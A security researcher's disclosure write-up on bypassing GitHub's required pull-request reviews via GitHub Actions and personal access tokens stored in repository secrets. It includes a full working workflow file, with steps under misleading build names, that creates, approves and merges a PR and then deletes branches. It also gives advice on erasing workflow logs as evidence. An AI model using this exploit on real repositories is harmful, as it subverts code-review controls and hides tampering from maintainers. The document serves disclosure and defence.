Last year Cider Security disclosed a mechanism via the GitHub Bug Bounty program that allowed a contributor
to approve their own PR using the github-actions bot
; see Bypassing required reviews using GitHub Actions
In March 2022, I discovered that the github-actions bot
could create a PR and a contributor
could then approve the PR. The following write-up was submitted to HackerOne; however, the
same bypass had already been disclosed in January 2022. A fix was introduced on May 3rd, 2022
to allow organization administrators to prevent the github-actions bot
from creating a PR:
GitHub Actions: Prevent GitHub Actions from creating and approving pull requests
This fix combined with the fix for Cider Security's finding is great! The two items from my submission to GitHub that I feel are still a problem are:
- If you have a Personal Access Token (PAT) stored in your GitHub Secrets - you are
likely still vulnerable as a contributor could use these techniques using the PAT
instead of the
github-action bot
to create or approve a PR (depending on the associated rights for the PAT). - A contributor still has the ability to clean-up their tracks - as most if not all evidence can be deleted using the rights granted to a contributor. Specifically, a contributor can delete a workflow run and the associated branch - effectively erasing the malicious workflow file and the execution logs. The only evidence remaining might be emails that contain links to a workflow execution that no longer exists.
A contributor to a project can create a branch containing a workflow file that
will cause the github-actions bot
to create a new PR. This can be done by
creating a new workflow that triggers on push
, contains a run
step
that simply creates a new branch, makes changes to the branch, and then pushes
the new branch to origin
. The contributor can, within the malicious workflow
file, use one of their own Personal Access Tokens (PAT) or any PAT within the
repository's secrets that have sufficient rights to create an approval review
of the PR created by the github-actions bot
. The malicious workflow file can
subsequently merge the PR using the same PAT or any PAT available in GitHub
Secrets.
To further extend this, if there is a PAT with sufficient rights to create a PR it would be possible to create the a PR using the PAT from GitHub Secrets. The result is that the generated PR would appear to be from the creator of the PAT. The implications of this show how dangerous it currently is to store one or more PATs in a repostiry's secrets.
The above bypass works even if CODEOWNERS is used to protect the .github
folder - as long as the PR created by the github-actios bot
does not modify
anything in the .github
directory or any other protected directory. However,
even the CODEOWNERS restriction can be bypassed if there is a PAT created by a
code owner and is contained in the repository's secrets.
The reason the bypass works even when CODEOWNERS is protecting the .github
directory is that we are not modifying any workflow files in the main
branch
or other protected branches. The branch created by the contributor/attacker is
not a protected branch.
Workflow permissions are not a valid mechanism to prevent the bypass. Currently, permissions are set in the workflow files themselves. Within a PR the contributor can create or modify a workflow file to remove or modify the permissions. Any of these changes can then be reverted during the first execution of the workflow (see Hiding Our Tracks).
Enabling code signing requirements may appear affective as the bypass would require the creation of commits within the execution of the Action. However, even this could be bypassed by supplying the Action with a signing key. The signing key could be hard-coded in the workflow file or retrieved via curl at runtime. The primary benefit of code signing is that in a forensic investigation it may be easier to track down the attacker or malicious commits. Also, there is no association between the signed commit and the creator of the PR; one could create a random new user on GitHub, create and publish the key, and then use the private key in the workflow to sign the commits.
The above bypass only works for contributors. I do not believe a forked repository could be used to bypass required reviews.
In the POC, some techniques are shown that could be used to make the attack
less visible - even removing the malicous workflow file that causes the
github-actions bot
to create a PR. A contributor can delete the branches
created during the attack and the workflow execution - at the time of writting
this a contributor has the ability to delete a workflow execution. The only
remaining evidence is an approved, merged PR.
In the steps below we will use Bob and Alice to differentiate accounts in GitHub. Bob is the owner of the repository and Alice is a contributor.
-
Bob creates a new repository:
test-repo
and configures branch protection onmain
to require PR approvals. -
Bob creates a PAT with public repostiroy rights and adds it to the
test-repo
's secrets and name the secretREPO_TOKEN
.- Note that as discussed above this step is not required, but makes reproducing the attack easier and does not expose anyones' PATs when recording the demo.
-
Alice clones the
test-repo
. -
Alice creates a new branch:
git checkout -b bypass
.- Note that the branch name
bypass
is referenced in the malicious workflow file.
- Note that the branch name
-
Alice adds/modifies the following file
.github/workflows/branch.yml
name: Java CI on: push: branches: - bypass jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up JDK 11 run: | git config --global user.email "unknown@author.com" git config --global user.name "Unknown Author" git fetch git checkout main git pull origin main git checkout -b dangerous echo "# Unexpected File" > dangerous.md echo "" >> dangerous.md echo "This file was introduced by bypassing required reviews on the repository" >> dangerous.md git add dangerous.md git commit -am 'initial version' git push origin dangerous - name: Build with Maven id: step1 uses: actions/github-script@v6 with: result-encoding: string script: | await github.rest.pulls.create({ owner: context.repo.owner, repo: context.repo.repo, head: 'dangerous', base: 'main', title: 'Minor Update' }); var token = 'ghp_' + '[removed]' + '[github]' + '[token]'; return token; - name: Tests with Maven uses: actions/github-script@v6 with: github-token: ${{ secrets.REPO_TOKEN }} #github-token: ${{ steps.step1.outputs.result }} #note that the attacker has to know what the next PR # will be and update the script below appropriately script: | var prNumber=2; await github.rest.pulls.createReview({ owner: context.repo.owner, repo: context.repo.repo, pull_number: prNumber, event: 'APPROVE' }) await github.rest.pulls.merge({ owner: context.repo.owner, repo: context.repo.repo, pull_number: prNumber }) - name: Clean with Maven run: | #delete the bypass and dangerous branch curl -s -X DELETE -u jeremylong:${{ steps.step1.outputs.result }} https://api.github.com/repos/${{ github.repository }}/git/refs/heads/bypass curl -s -X DELETE -u jeremylong:${{ steps.step1.outputs.result }} https://api.github.com/repos/${{ github.repository }}/git/refs/heads/dangerous
-
Alice then pushes the
bypass
branch. -
The malicious workflow file,
branch.yml
, will execute and create a new branch and PR using thegithub-action bot
, approve and merge the PR using the PAT stored in GitHub Secrets, and finally delete thebypass
and newly createddangerous
branch. -
Alice can then delete the workflow executions for the
bypass
branch and any workflow executions that were kicked off for the dangerous branch. -
The
main
branch will now contain thedangerous.md
file.
- NEVER store a PAT in GitHub Secrets.